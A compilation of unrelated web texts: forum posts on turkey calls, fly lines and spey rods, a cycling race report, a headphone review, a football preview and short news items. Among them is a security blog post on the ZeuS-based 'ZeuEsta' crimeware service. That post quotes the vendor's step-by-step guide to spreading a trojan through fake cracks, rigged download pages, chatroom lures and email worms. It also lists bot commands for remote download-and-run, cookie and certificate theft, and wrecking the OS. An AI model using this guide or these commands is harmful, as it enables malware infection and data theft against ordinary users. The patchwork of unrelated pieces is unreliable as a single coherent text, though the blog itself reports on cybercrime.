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You use the term stout and I understand that as I used the term mature hen so we are basically talking about the same thing now what does this do as far as rasp in the yelp and cluck?
I understand that you can only get so much out of a ghost cut however the call you are making now gives you more variables in turkey vocabulary than any call of this type I have ever ran.
It will cut as good as most cutter calls, yelp, cluck and kee kee, call low, tree yelp and purr so takeing this all into consideration it is the best all around call I have found but if you have something as good with a different turkey tone as you refered to as stout I would like to try it as long as it has a good break over and some rasp to it.

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just talked to buddy at the Master National said that there will be a new title. Maybe this was mentioned before but i dont recall seeing it. Master Hunters will now have the option after passing 12 titles to have MH-XX where XX would be how many master passes they have. it can be changed however many times till death (obviously only with passes)
the catch being you have to pay for each change. so they get you with entry fee, and then the pass fee
i told him they should change it to MH-XX/YY where XX would be how many passes and YY would be how many entries


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Portugal's reigning road champion Manuel Cardoso (Footon-Servetto-Fuji) upstaged a 2009 grand tour champion and the current World Champion to win stage three of the 2010 Santos Tour Down Under.
Cardoso crossed the line in a time of 3hr14min38sec, one second clear of Spaniard Alejandro Valverde (Caisse d'Epargne) who won last year's Tour of Spain and 2009 elite men's road race World Champion, Australian Cadel Evans (BMC).
Oppressive weather saw temperatures top the 40 degree mark but the riders overcame the heat to stage an exciting battle over an undulating course through the Adelaide Hills watched on by an estimated 102,000 fans. Cardoso was impressive on the sharp, punchy climb into the finish line in the town of Stirling after 132.5km of hard, hot riding from the start in the Adelaide suburb of Unley.
"I was extremely happy to have won the tough stage to Stirling," said Cardoso. "Once the attack had been closed Caisse d'Epargne did a lot of work on the front in preparation for the finish but I was able to make a big move in the final kilometre.
"I don't think I have a chance to win the overall despite my win here, I have had a lot of hard days over the first couple of days of this race, I am probably too far behind," said Cardoso who is 8min40sec off the overall race lead. "But it was really important for me, it is my first pro race, first pro team, first ProTour victory for me and the team, so it is a very important win."
Overnight Tour leader, Germany's Andre Greipel, (HTC-Columbia), survived the day to finish with the front group to hold on to the Santos Ochre Leader's jersey.
"Yes just because of my team mates we control the race, we control the whole day and in the end I try to stay on the wheels of the others to just stay in the same time like the bunch," said Greipel who admits he suffered in the heat. "I had cramps everywhere on my body."
A flurry of attacks at the start of the stage left some riders struggling on the uphill drag of the Southern Expressway and several were involved in a crash including reigning American road champion, George Hincapie. They all eventually rejoined the race.
Seven time Tour de France champion, Lance Armstrong, needed a new rear wheel after puncturing at the 22 kilometre mark but he too was soon back in the peloton.
Meantime at the front the attacks were coming thick and fast but unlike the previous two stages the protaganists were kept on a very short leash by HTC-Columbia who were controlling the front of the peloton to protect Greipel's lead.
The first Jayco Intermediate sprint at McLaren Flat (30.9km) went to Spaniard Gorka Izagirre (Euskaltel - Euskadi) ahead of Australian Peter McDonald (UniSA-Australia) with Andriy Grivko of the Ukraine (Astana) third across the line.
But their time in the front was shortlived and it was then the turn of South Australia's Luke Roberts and his Milram team mate Thomas Rohregger (AUT) to go on the attack with the view of putting Rohregger in the lead in the Skoda King of the Mountain classification. Over the Wickhams Hill climb at 38.5 kilometres Rohregger collected the points ahead of Roberts with Kazakh Valveriy Dmitriyev (Astana) third. Tim Roe (UniSA- Australia) managed to get points for fourth place but it wasn't enough for him to hold on to the climber's jersey.
At the 70 kilometre mark the most promising attack was instigated by Victorian Simon Clarke (UniSA-Australia) and Dutch rider Karsten Kroon (BMC). They were then joined by reigning U23 road time trial World Champion, Jack Bobridge (Garmin-Transitions) and managed to forge a small 40 second lead on the peloton.
The trio contested the second Jayco intermediate sprint at Echunga (74km) with Kroon first across the line ahead of Clarke then Bobridge. After the sprint German rider Jens Voight (Saxo Bank) and Poland's Maciej Paterski (Liquigas) managed to bridge the gap and the five leaders then worked together to try and increase their chances of staying clear to contest the finish.
As they crossed the finish line at Stirling to start the first of two twenty kilometre circuits out and back from Stirling the five in front had a gap of 50 seconds.
"It was hot and I think the Europeans really struggled towards the end, yeah they won but the guys in the break that were going hard were strong a bit earlier but when we started hitting these laps they really started struggling and that was when it started to get hot," said Clarke who along with Bobridge then jumped clear of their fellow breakaways. "It was the perfect conditions for the guys who have been preparing in Australia and the Aussies and also with the wind so it was definitely a good opportunity.
"We gave it everything we could and then Matt Lloyd (Omega Pharma - Lotto) came across as well but Caisse D'Epargne had other intentions."
Even with the support of the thousands who lined the road they couldn't hold off the charge of the peloton who swallowed up the leaders before the finish line opening the way for the climbers to stretch their legs in a bid for the podium.
"It was a bit of a strange old day, a bit harder than most expected, pretty windy and the heat of course," said Evans. "Coming into the last kilometre it was like riding in slow motion almost, everyone was so exhausted.
"It is not often I get into the last kilometre with (sprinter) Robbie McEwen, in fact never," he said. "My team are all a bit disappointed, I told them not to ride for me today, then I come third."
Overall Greipel is still leading by a 14 second margin from Team Sky's Greg Henderson (NZL) with Belgian Gert Steegmans (Radioshack) ranked third, also at 14 seconds. Valverde is now in fourth place overall also at 14 seconds. Evans has moved into seventh at 16 seconds.
The Skoda King of the Mountain jersey is now on the shoulders of Austrian rider Thomas Rohregger of Milram. Greipel also leads the Jayco Sprint classification and Belgian Jurgen Roelandts (Omega Pharma - Lotto) is the top ranked Cycle Instead Young Rider.
UniSA-Australia's Simon Clarke was named the Hindmarsh Most Aggressive Rider of the Day.
Official results are posted on the official website as soon as they are available. Live stage coverage, start lists and race and associated events information will also be available on the official website. www.tourdownunder.com.au


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Well, I just had a rather special experience with the P5 which results in me selling my T50p and ESW10jpns while retaining the much battered P5. Here it goes -
I haven't thought of getting the P5 after Skylab's comprehensive write-up, and other concurring views from other members. I was rather happy with my ESW10s, and later the T50p. I mostly use ER4S and Monster MDs these days, but there are times when I'd like to reach for a headphone. I just grew curious about the P5 after someone, who is a known Bose hater, asked me to try them. He himself got a little surprise with them. I didn't asked him in details and thought I'd come up with my own conclusion. Luckily the P5s are relatively easily available for trial.
I brought with me a light setup, just my iPod Classic and SR-71A, with my iPhone and the iQube loaned by the shopowner being guest performers. My music is mainly classical orchestral pieces, with plenty of pop to supplement that. Rock is scarce but also available.
Maybe my review would be better understood if I begin by saying what I DON'T LIKE about my own portable cans, namely T50p and ESW10:
T50p: I absolutely HATES its bass. Overpowering, embracing YET lacks impact and bite. The lower half of the spectrum is a bit too lush and mushed, while the upper half is a dry-ish and rather coarse presentation. Does that sound awful? Well no I like its presentation of slower, lazier music like jazz and small-scaled classical pieces, mostly solo works, but in larger-scaled works they sound a bit bland and lacks transparency. It shows its weakness in tonal coherence when there was an upward swoosh in strings in an orchestral piece (forgot which one now) where the lower notes and the latter upper notes sound like they come from different instruments, which was not true. Soundstage is quite disappointing, and details are present but drowned out by the all-embracing fat bass. One thing the T50p really stands out is its isolation - until its release only the HD25 performs well in that department.
ESW10: I have no gripe about its sound - it's simply 1st class, period. A bit coloured in the mids (but less so than other ATH phones), its detail rendition is jaw-droppingly good and is nicely extended at both ends of the spectrum. The one and only one possible deal-breaker is its isolation - it's almost non-existent in noisy environment, like on the underground or on buses, not to say on a flight.
OK so I know the perfect portable can would be a ESW10+T50p mixture, which is a distant dream. I'm not saying the P5 is anywhere near that dream. But, as a portable can (ultimate one maybe, as I've been looking for the ultimate one for a long time), I think it does wonders in every department in a portable can. And the obvious caveat when judging a portable can is that sound quality must be balanced with other factors, such as build quality and durability, looks (for some), weight, size, isolation, practicality in general, etc.
When I first put on the P5, I immediately searched in my memory for something similar in the sound signature, and if my memory serves me good the can appeared first in my mind was the PX200-II. Both sounds pretty balanced, but nothing excels. Both suffered from a lack of extension at both ends of the spectrum. That said, I was expecting a very, very dark sound from the P5 after all the others have said here, but the sound I got from the P5 out of my iPod directly is far from being dark. There is a peak somewhere in the mid-high region, creating a pseudo-high-extension feel - actually this feeling is quite similar to the Monster tuning in the MD and the Copper Pro, the difference being the P5's peak is located a bit lower in the spectrum, while the Monster peak is located a bit higher up. This renders the sound somewhat coloured, but not overwhelmingly so.
Besides this peak, the P5's sound is pretty balanced overall. I don't find it muffled - in fact I find its detail rendition at least on par with the T50p, which is very surprising considering Beyer's claim of the driver technology and T1's track record. When listening to classical symphonies the P5 reminds me of my bedroom Onkyo system - a rich, warm sound, with bite and grit, but not too weighty. And P5 is very good in soundstaging and presenting layers of instruments in the correct orientation with transparency and clarity. This even the ESW10 fails to satisfy me, and the T50p is a complete failure in this area.
The bass is good, not overwhelmingly deep, but comes with details and impact. Definitely not overpowering, and not lacking.
Needless to say, P5 excels in build quality and comfort, and I do not intend to repeat what others have said in these areas. What proved it to me as the able partner to my iems is its isolation - it is not iem-good, but it is miles ahead of PX200 and ESW10. It IS usable on trains and flights. And its size, together with the more reasonable approach in its method of stowing away, adds up to a winner, not in the sound department perhaps, but in the overall package.
Is the MSRP justified? As I've mentioned its sound is PX200-II-ish and though it betters the PX200, it isn't a night and day difference. I think it is difficult, if not impossible, to consider this question solely on sound quality. For the listed MSRP I think the isolation alone worths 20%, the design/looks/size/weight/comfort worths another 20%, the brand (yes I think that's the part which haters hate most) worths maybe 10-20% (though trust me the B&W brand is not THAT marketing oriented and not THAT well-known here in Asia, at least their campaigns are way less aggressive than Bose, Sony and Shure, and their showrooms are located in obscure places). The rest goes to the sound. Fair enough, eh? Yes it is way more expensive than the PX200 but doesn't offer too much improvement in sound, but to sum it up in one word: PRACTICALITY, makes it all worthwhile IMHO. It is small (relatively), extremely simple to handle, extremely intuitive in folding and storing (by contrast the T50p case, thought handsome, was HUGE and occupies too much space in my briefcase, while it's always a hassle to tug the cable of the ESW10 into the seperate cable pouch to protect the wood from scratch), great isolation making it usable in many difficult situations, the single-sided cable is very handy in everyday life situations, and the Apple-friendly remote/mic cable, if you can stand a very slight deterioration in sound, is again very handy if you use a iPhone. Even when i'm listening to music on my iPod (not my iPhone), i can just yank out the cable and plug it into the iPhone in no time if a call comes in. And if I want to listen to the broadcasting on the underground, I can turn down the volumne or stop the track in no time. Practicality may not be for all audiophiles or head-fiers, but for myself, I know there are times when I'm chilling out with my ER4S and some Mahler, I become desperate when a call comes in and I wanna fetch my hands-free buried somewhere deep in my bag.
And it sounds good, not jawdroppingly good, not $299 good, but plain good. You know what you're paying for, and that's fine.


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Tuesday Night Bites: Akron at Toledo (FAQ)
A felicitous MACtion Tuesday to you all. Cleanse your spirit before the holiday binging begins in earnest with some sprightly weeknight college football, why don't you?
• What information do I, the discerning sports fan, require in order to consume this game? The Zips and Rockets are scheduled to kick off at 7 p.m. ET in the Glass Bowl. The game will be televised on ESPN2 and streamed on WatchESPN.
• What's at stake here? For the Rockets, it's time to smile pretty for the bowl scouts. Toledo's out of the MAC West race thanks to last week's loss to Northern Illinois, but we can personally report that Boise is lovely in the wintertime. A win tonight would mark the 20th career conference victory for this class of departing seniors. On the other end of the see-saw, feet dangling in the air, Akron still seeks its first 2012 win over an FBS team. The Zips' lone victory this season was a 66-6 thrashing of Morgan State, way back in Week 3. If series leads crank your tractor, tonight will also break an 8-8 all-time tie between these two programs.
• What should we be watching for here? Expect Terry Bowden's band of roos to do some scoring, but don't expect them to keep up with these Rockets on the scoreboard. Look for senior linebacker Dan Molls, in his final home appearance as a Rocket, to be in hot pursuit of opposing ball-carriers at all times, bolstering his 13-plus per-game tackle average. Expect Bernard Reedy to put on a fine show against Akron's barely-there defense while catching passes from Terrance Owens and mowing down the field on punt and kick returns. And expect just a few more satchel jokes from us every time we miss David Fluellen, which will be often. C'mon, indulge us. It's the last time we get to do this before bowl season.


text: Versatile genius of the Renaissance, Leonardo created this drawing for his wall painting in Milan The Last Supper. The artist defined the role of artist as philosopher when he portrayed the moment Jesus said to the disciples 'I tell you, one of you will betray me'. The earliest traces of red and black chalk, assumed to be by Leonardo's hand, remain. This drawing, now more than 500 years old, was considered so important it was continually 'updated' and reworked.


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Two kids having a go on the "Wheely".
Outside the Beit Cure hospital in Blantyre, Malawi a pair of Dutch designers have repurposed tires, axles, springs, and an entire ambulance to serve as a place to play and convalesce. Specializing in orthopedic care, the hospital's playground is an area where patients may not only recover in a relaxing environment, but also come into contact with other children from the neighborhood. Completely handicap accessible, the car park-turned-hangout is an excellent way to reduce the stigma of the disabled who can be seen as "different" — while at the same time finding a creative use for landfill materials.


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Recently I came across a web page which is selling ZeuS as a service. That's not very new, but I decided to write about it anyway since the page looks quite interesting.
But first of all: What is ZeuEsta?
ZeuEsta comes from the two words ZeuS and El Fiesta. ZeuEsta is a mix of the ZeuS crimeware and the El Fiesta Exploit Kit. However, since April 17 2009 ZeuEsta is no longer sold with the El Fiesta Exploit Kit, but now in combination with SPack Exploit Kit:
ZeuEsta is now a mix of ZeuS and SPack not ZueS and Fiesta.
The page which I came awar is selling ZeuEsta as a service. The page seems to be very informative. You can see how many User Slots are available, how many of them are already assigned and which version of ZeuEsta is beeing used:
Current Version: 6.0
User Slots Filled: 4/6
Additionally you can see on the page that the ZeuEsta hosting service is already running since November 2008.
The web page which is promoting / selling this services is called zeus-services.info and is hosted at AltaVista (Yahoo):
;zeus-services.info. IN A
zeus-services.info. 1200 IN A 184.108.40.206
OrgName: AltaVista Company
OrgID: ALTAVI-1
Address: 701 First Ave
City: Sunnyvale
StateProv: CA
PostalCode: 94089
Country: US
NetRange: 18.104.22.168 – 184.108.40.206
NetName: NETBLK-INTERNET-BLK-1-AV
NetHandle: NET-216-39-48-0-1
Parent: NET-216-0-0-0-0
NetType: Direct Assignment
NameServer: NS1.YAHOO.COM
NameServer: NS2.YAHOO.COM
NameServer: NS3.YAHOO.COM
NameServer: NS4.YAHOO.COM
NameServer: NS5.YAHOO.COM
Here is the whois output of zeus-services.info:
Domain Name:ZEUS-SERVICES.INFO
Created On:09-Jun-2009 17:06:38 UTC
Last Updated On:10-Jun-2009 02:04:45 UTC
Expiration Date:09-Jun-2011 17:06:38 UTC
Sponsoring Registrar:Melbourne IT Ltd. (R141-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:A124447136247250
Registrant Name:Narayan Pradeep
Registrant Organization:Pradeep
Registrant Street1:26 Wangsa Setia 4 Wangsa Melaw
Registrant Street2:
Registrant Street3:
Registrant City:Kuala Lumpur
Registrant State/Province:selangor
Registrant Postal Code:53300
Registrant Country:MY
There is a Question&Answers section on the page which describes how ZeuEsta works:
There are also some features of ZeuEsta listed on the page like the fact that ZeuEsta is exploiting IE, Firefox, Opera and Adobe Reader 6/7/8, logging outgoing browser connections (HTTP/HTTPS/FTP), stealing browser cookies and accessing all sites defined in the config file (e.g. used for stealing banking information and Credit Cards).
Much more interessting as the features of ZeuEsta is the price model of the service and what a cybercriminal gets for his money when he buys ZeuEsta Hosting:
* Existing customers can also pay via Western Union but we do not accept it for first time customers.
After payment confirmation we will send you the following:
* 1 Months access to members area
* User/Password of your ZeuEsta Admin Panel to view logs, online bots, exploit stats, issue commands and so on.
* A specially crafted iframe to add to remote websites to generate traffic for your panel to start exploiting.
* Support on how to generate traffic, how to hide iframes and how to spread your bot.
* Weekly updated undetected binaries.
* Everything else that is listed above in features
As you can see above, the vendor of the service is offering the cybercriminals a weekly update of undetected binaries to spread the ZeuS bot. But what happens when the ZeuEsta hosting sevice runs out and the cybercriminal fails to pay for the service for another month? Well, the vendor of the ZeuEsta will just sell the ZeuS botnet to another customer:
If the cybercriminal is still not feeling confident, the vendor offers him a free demo of the ZeuEsta hosting service.
There is also a tutorial on the page which is describing different ways to spread the ZeuS bot:
In this tutorial/guide, I am going to tell you ways to spread your bot/trojan.
1. Torrents
This is pretty easy, and pretty successful.
First you need a torrent client, I use uTorrent, because it's the easiest.
Once you get your torrent client, make a folder full of .zip files with names of popular programs (e.g. Kaspersky 2009 Crack.zip) and put your bot/trojan inside.
Now you need to create the torrents.
Open uTorrent (or your other torrent client), and click File|Create New Torrent… Then add one of your fake programs (The Kaspersky 2009 Crack.zip or what ever).
Now you need to add trackers.
Code: Select all
Here are some good trackers you can use:
Don't check private, but do check start seeding.
Now click Create and save as..
Once you save, go to thepiratebay.org, and register, and click upload torrent.
Do this too all of your fake cracks or programs.
You can also get programs or stuff that people might want, and just bind your bot/trojan to it then create the torrent that way (takes longer, but more people might download it).
2. Crack Request forums
This way is pretty easy and is pretty effective.
First get hosting that allows custom 404 pages (I suggest getting a .info domain from godaddy (only $0.99), because you can upload viruses, and have custom error 404 pages.
Once you get this, upload your bot/trojan to you hosting (e.g. "www.freefileupload247.info/files/bot.exe"), then make the custom 404 page "www.freefileupload247.info/files/bot.exe" (or what ever you uploaded you bot/trojan as).
Then no matter what url someone goes to on your site, it will download your bot/trojan
(like "www.freefileupload247.info/files/34736745/asdfasdg.exe" or "www.freefileupload247.info/a.exe" or even better "www.freefileupload247.info/files/2765345/Kaspersky.2009.Crack.exe")
Then find a software cracking forum that has a subform for "Crack Requests".
Then you click on a whole bunch of the requests and reply to all of them with something like this:
I found the keygen for it:
That is a good way of doing it.
3. Chatrooms
Here is another good way.
Go on some chatroom somewhere and put your name as something like Jenna247. Then PM a bunch of guys with something like this:
Heyy my name is Jenna asl?
You want to see a picture of me?
I don't know if you can open it, I'm on a mac.
If you rename a .exe file to a .pif, it will run just as the .exe does, so with your custom 404, if they go to your server /anything.pif, if will download your bot/trojan) And a .pif file looks like it could be a picture >:D
You could do this to a bunch of people at once, or make your bot do it.
4. Email
Not that easy, but could be good.
Make your bot/trojan get a list of all the zombie's (infected computer) contacts, and have it send out an email from a random email address (such as email@example.com) with something like this:
Hey it's Jenna, I don't think you remember me, but we met a while ago.
Here is a picture of us: "http://www.freefileuploads247.com/pictures/342772/2008_36327.pif"
Then if someone from their contacts downloads it, it will send to to all their contacts and so on.
I hope this tutorial/guide helped you, if you have anything to add, please do so.
All Rights Reserved © 2008 – 2009 by www.Zeus-ServiceS.Info
Another File is describing the ZeuS Commands:
Zeus commands are available now:
Command and its parameters are written on the rules of the configuration file
Quote:block_fake [URL-mask] – call blocking any URL-redirect, URL-mask which will be treated under the URL-mask this team.
unblock_fake [mask] – from a list of blocked URL-redirects will remove all URL-masks, which will be treated under the URL-mask of this team.
block_url – call blocking any URL, which will coincide with the URL-mask of this team.
unblock_url- from the list of blocked URL will remove all URL-masks, which will be treated under the URL-mask of this team.
rexec "http://taarar.com/tvoj.exe" – upload exe
rexeci "http://taarar.com/tvoj.exe" – f – ignore version of config
lexec "C: \ windows \ system32 \ calc.exe" – will open a calculator for this user (for example, the calculator, can open any other)
resetgrab – re-purification Cookies, protect storage
getmff – get solfiles with bots
delmff – clear solfiles
getcert – to obtain certificates of all hranilish
addsff "*. doc" – get all the evidentiary files Bot
getfile "kkk.doc" – receive a file with the bot
upcfg [url] – after receiving the command boat immediately try to download a configuration file in a standard URL.
Quote:kos – incapacitate OS, namely grip branches HKEY_CURRENT_USER registry and / or HKEY_LOCAL_MACHINE.
If you have sufficient privileges – fly to "blue screen", in other cases creates the brakes. Following these steps, loading OS will not be possible!
All Rights Reserved © 2008 – 2009 by www.Zeus-ServiceS.Info
While I was doing some research in this case I came accross a forum topic where some people talked about ZeuEsta. There are some interessting posts concering this topic like that the original price for ZeuEsta is about $150 (zeus-services.info is selling it for 600$). Another one says:
In a another forum the vendor of ZeuEsta hosting says:
ZeuEsta Hosting has been around since November 2008, we have had a 90+ day downtime to stop google and firefox listing our domains as malicious and are ready to go again.[…]
And later:
Now he is selling the service using the two domains zeus-services.info / zeus-service.blogspot.com.
Last but not least there are some contact informations on the page:
It's interessting to see that two crimeware kits are beeing combined (ZeuS and SPack). It seems that there is a price competition in the criminal underground and that the price for the same crimeware kit can vary from just a few dollars up to hundreds of dollars and more.
But the six slots for customers which the ZeuEsta hosting service offers is just a drop in a bucket: There are currently more than 200 well known hosts around the globe which are spreading the ZeuS trojan and/or acting as Command&Control Server (C&C) for ZeuS infected bots (see abuse.ch ZeuS Tracker). According to Damballa, ZeuS has with 3.6 million infected computers the most infected computers in United States (Source: Network World: America's 10 most wanted botnets).
During my reasearch I came across some post where vendors of such crimeware services / crimeware kits are complaining about DDoS attacks againts their site(s) where they are selling their services / crimeware kits. Obviouslye criminals are not only attacking legitim websites (like abuse.ch) using DDoS attacks, but are also fighting against each other.
Cybercrime is a dirty business – Keep your hands off 🙂
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We purchased a case of Chef Boyardee's Beef Ravolis, not too long ago and I didn't notice until after it was bought that there is a Star Wars Clone Wars tie-in.
If you peel the label of each can (and believe me, it ain't easy) it will reveal if you have won the following prizes.
GRAND PRIZE: large screen high definition t.v.
FIRST PRIZE: Ultimate Collection of toys from Hasbro. (25 winners, not sure what it contains. I betcha there is more information on the website Cartoon Network
SECOND PRIZE: A Star Wars Electronic Lightsaber (10,000 Winners)
EVERYONE: A Clone Wars digital card. All you have to do is mail in the label and visit the website. I haven't been saving them, but if anyone wants one, I still have about 4 cans left, I can send them one.
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RE:Striper Fly Lines
Roop and others....
Sorry for being MIA for a while.........lots of stuff going on in my personal life these days...... to the Rio Lines........I have used these lines for about 3 years now. I absolutely love them. There striper line is a Rocket. The only drawback on it (like many other striper lines) is you really need to stretch it out. I usually take the line off the reel and strecth 2 or 3 foot sections. I have even dragged it behind the boat for a few miles and that seems to help. Once it strecthes, look out ! RIO has come out with a clear Aqualux striper line. I just got it but have not put it on a reel.
I also use their Windcutter lines and they worked very well out west with the constant wind on some of those big western rivers. In fact, I was even able to use a 9ft, 4wt more often than in the past because of this line. They recently intoduced more colors to the lines (green camo, etc) to offer more selctions.
Although I cannot make the Early Spring Clave, I will be at the Monomoy Adventure and will hopefully have some extra RIO's to let you try..........
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Thanks for letting me read in. I have learned more about fly line in 5 minutes than I have in the last six months !
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I'd like to get in. As I need to make up mind on an intermediate line this year. I'm leaning towards the Cortland Camo but I'd like to try before I buy.
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Airflo has come up with a coldwater clear line that can be stored in the freezer and perform well right out of the icebox. We will be receiving some soon, if you're interested in trying them out just reply to this post.
The catch: You must post a report. That's it!
more to come... Juro
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Per the Rio lines... I am also a great fan of the Striper lines they put out. They aren't exactly clear, but a real stealthy dull transparent grey and with the bullet taper do they ever throw a loop.
I strung up a 9wt Rio Saltwater / Striper line on a Sage rod when Seattle member Brian Lencho came out last summer and he loved it. He now uses one for ocean coho out on the Pacific coast. We both include Rio lines in our Spey casting setups (Windcutter, Accellerator, etc).
I am a great fan of the 444 Cortland lines, they have been paying attention to the market demand over the last few years. The 325 grain QD is a working man's sinking line that casts easier than conventional lines as long as shooting head rules are followed: don't aerialize much more than the head itself. They aren't technically shooting heads but the only difference is no loop. (Isn't that right Bassman?) The new 444 clear lines *hold a nail knot*, in fact mine held all season. The slippage on other lines kept me from investing for years. When you factor in the Big Game SW Intermediate (white) which casts like a "normal" flyline, and the XRL series (another shooting head style design w/o the loop) which casts like a banshee (although I kept getting cuts on my hands from the abrasive running line) - Cortland has a great range of striper lines.
SA offers the Striper Mastery line, which I have not tried. Many of my friends fish it, and most love it. I'll reserve comments for those who have firsthand experience. I am a big fan of SA lines, particularly the long belly steelhead and Spey designs as well as Mastery dry lines for trout. Their wide assortment of tapered shooting heads is also very popular with steelhead fishermen who build hybrid sink tips.
I like the concept of the Orvis WonderLines, hopefully the intermediate version that just came out will provide a low-maintenance, slick shooting alternative for SW FF folks. We'll have to try 'em out too!
[Sorry about the delay, I hope to have this testing program setup by the start of the season!]
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Finally a little free time to see what's going on & yes, count me in.
We would need to set up a standard analysis of each; time of day, air & water temperatures, water condition, flies used (& weight?), current (for twisting on the swing), type of retrieve?, actual time fishing.
Maybe even use the same rod for each test, I would volunteer one of mine as long as I can receive a temporary replacement from the tester.
I think JohnM is the first I've heard of who uses Rio's & I would like to hear more from him.
Personally, I continue to mull over the reviews of Cortland, Sci Anglers & Airflo for the 4 lines I want to pick up for this season.....
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I would definitely be game for line testing. I just picked up the Airflo clear coldwater series for my 9 wt., haven't used it yet, but will be glad to post a report later. I have had bad luck with the Orvis intermediates, I don't think they cast nearly as well as the Wulff triangle tapers.
I think some of the new multi-head packages that Sci Angler and Airflo are putting out look pretty interesting for the person who doesn't have multiple rods or multiple spools. They now come with a floating, clear intermediate, fast intermediate and deep sinking leadcore. Has anyone checked these out? my biggest question is, how does the loop-to-loop connection shoot through the guides, and how bad is the hinging effect where the head and running line meets?
Jeff G.
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Count me in.....
By the way, I have pretty good luck with the Rio lines. You do have to stretch them out, but when you do, they rocket out ! I also like the Wulff lines but have struggled with their durability. I used them for 2 years in the salt and found I had to change lines every year......
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Good idea Juro. You can't really get a good idea of how well a line works for you unless you use it for a full day. Count me in.
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IDEA... Let's contact line companies and get samples in exchange for our evaluation and feedback. To make it interesting, we will need to demonstrate that there are enough interested people. To keep it simple, we can use one of my reels to pass around. I'll set up a signup sheet.
Unless they want them back, we'll hold a drawing for the lines at the end of the test cycle.
If anyone is interested, please reply.
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Are you sure about the Airflo? It may depend on which one you're using. I bought a clear intermediate 7000ts last winter and it worked great. Coils perfectly in the stripping basket or even looped on the hand. It's designed for cold weather but even in August it worked great.
You can't get too technical with this stuff or it'll drive you crazy. You might try a Teeny line, it sounds like the only one you haven't tried yet.
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Yesterday while I was cleaning some gear I noticed a chunk missing from my 444 saltwater 10wt line that's ok I had this line on since they first came out. I am happy with the way the Cortland lines preform but I am always looking for an edge to get a few extra feet.I have tried a lot of lines and they are dust collectors or been cut up for heads.I have Wulff Triangle tapers they are ok from April to May after that they turn into limp dish rags. The Airflo tangles to much in the cold and turns to mush when the water warms. I like the SA Mastrey lines for bonefish and tarpon but they wont work up here till the water really warms up.Any new and exciting Intermediate lines out there? Thoughts, comments, recommendations?
Thanks John
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So a couple of the other threads on here got me thinking...just how does one get started running field trials?? I'm sure there are probably a few others that may be wondering the same thing, so why not put together a list of things a newbie needs to know before showing up at their first trial. Personally I know very little about them, so maybe some of the experienced folks can post some tips/information resources, etc. Try to keep it serious and provide legitimate information for anybody who wants to know. Personally I've went and watched 2 separate trials, one being the Canadian national amateur last year, and that day I think I was easily the youngest person there (33) I could be wrong but it seems to me it could very well be a dying sport. So how about it folks how about a little FYI/FAQ for Newbie Field Trialers.
For a starting point, let's say we already have:
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Sourcefire (FIRE), the networking security outfit that is being bought by Cisco Systems (CSCO) for $76 a share, this afternoon reported Q2 revenue and earnings per share that topped analysts' estimates, sending its shares up 23 cents to $75.70 in late trading.
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Iam looking at getting into this and would like to know what kind of rod,reel, and line to use for great lakes steelhead. I like sage rods and ross reels, so this might help you guys out.
First, I'll put my answer into perspective. I'm a huge fan of Sage single handers and I've owned more Sages than any other brand of rod. I have never owned a Sage two-hander (though I've casted many) and it's doubtful I ever will.
You fish the Catt and I've fished it enough times to have some feel for the creek. Except for a few places like the bridge at Gowanda, distance is not an issue. We need a rod that'll handle short to medium distances plus one that will handle a range of lines and terminal rig. The best rod I've found to meet that set of criteria is the Loop Blue 8124. I also own the the lighter version, the 7116, and it would be a good choice too for the narrower stretches but the 8124 is the more overall versatile rod.
There are other excellent rods in this category, the CND Custom 1308, the T&T rods in the same range, etc. -- I'm just recommending the Blue 8124 as it's a rod I own and I know what it can and can't do. Black Francis inhabits this spot too and he's a local store owner of yours. I'm sure he can point you in the right direction. However, before you lay down serious cash, I strongly suggest that you extend your search criteria beyond Sage.
Have to agree with Peter on this one. Sage has a very limited selection of rods for the kind of fishing and casting you will be doing on the Catt. and for that matter most of the tribs in the area. I use the Sage 12 5wt. In the early fall when the weather is good and the fish are small, but as the season progresses the weather gets worse, the fish get bigger and the 5wt. Is a bit out classed. I would look for a rod in the 11 13 foot range in a 7/8wt.
I would agree that Sage are not the greatest rods for the region. Especially for someone who is entering the spey arena. Unless you are fishing the bigger rivers, which for me means the Niagara, Genesee, Oswego, and Salmon, 12-13'6" 7-8 weight is probably a good range to be in. This will also cover a lot of the fishing in the aforementioned rivers also.
I noticed that your home page is for Buffalo Outfitters. You should have access to Orvis rods then ? The 12'6" 7 weight and 12'6" 8 weight are both nice rods. I should clarify that my 8 weight is the old Trident. I have not cast the newer line but understand the action is similair. My 8 weight does very well with a WC 7/8/9 for casts in the 65 - 70 foot range. This covers most fishing situations in the area. If you have good technique you can push these rods out to 90 ft plus. I have not cast the 7 but would imagine a 6/7/8 WC to be a good starting position. These rods really come to life when there is a light reel under them so don't put too big of a monster under them. I am very disappointed that Orvis stopped the Trident spey, they were much more pleasing to the eye. If you want a more detailed review of these rods Dana did a review of the Orvis on the spey pages.
T+T, Winston, CND and Loomis (just to name a few) all have rods that are nice for the area and some are tuly more capable rods than the Orvis. I chose to encourage you to try the orvis only because of your association with Buffalo Outfitters which I believe is an Orvis dealer and because it is an under appreciated rod. The Orvis line is also very nicley priced for the starter or someone who wants an additional rod at a good price.
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Sorry, just notice that Orvis has redone their line a little this year. I would reccomend the 12'6" 7/8. They no longer have two different 12'6" rods. I'm guessing that this rod is closer to my 8 weight than the old 7.
i would have to disagree at least a little. i think sage makes at least two darn nice rods for this area. the first would be the 12.5' 8 wt euro. which i like a lot and is not too much rod for the catt and not too little for the niagara. if you like med action rods it is really a nice casting rod. the other which i learned to cast on is the 13.5' 7 weight. i think the existing one is a little different than the old (7-8 years?) one that i borrowed from a friend. this rod is slow but it is actualy a great rod to learn on as it really lets you know what's going on. definitly not a weight rod but for the catt lots of people use it. it loads on short casts very well and is darn near impossilbe to break a fish off on. the distances here don't usually require a cannon of any sort and if there is one area sage can cover it's here. btw i don't own or regularly fish any two handed sage rods, but i have cast the mentioned rods quite a bit. i am a T&T fan myself but i like the faster rods.
Those rods would certainly do the job, and probably do it well. The reality is that almost any manufacturer makes a decent spey rod these days. It really comes down to preference and casting stroke.
I know that for me it took a little bit to get used to how fast my T+T is but now I absolutely love it.
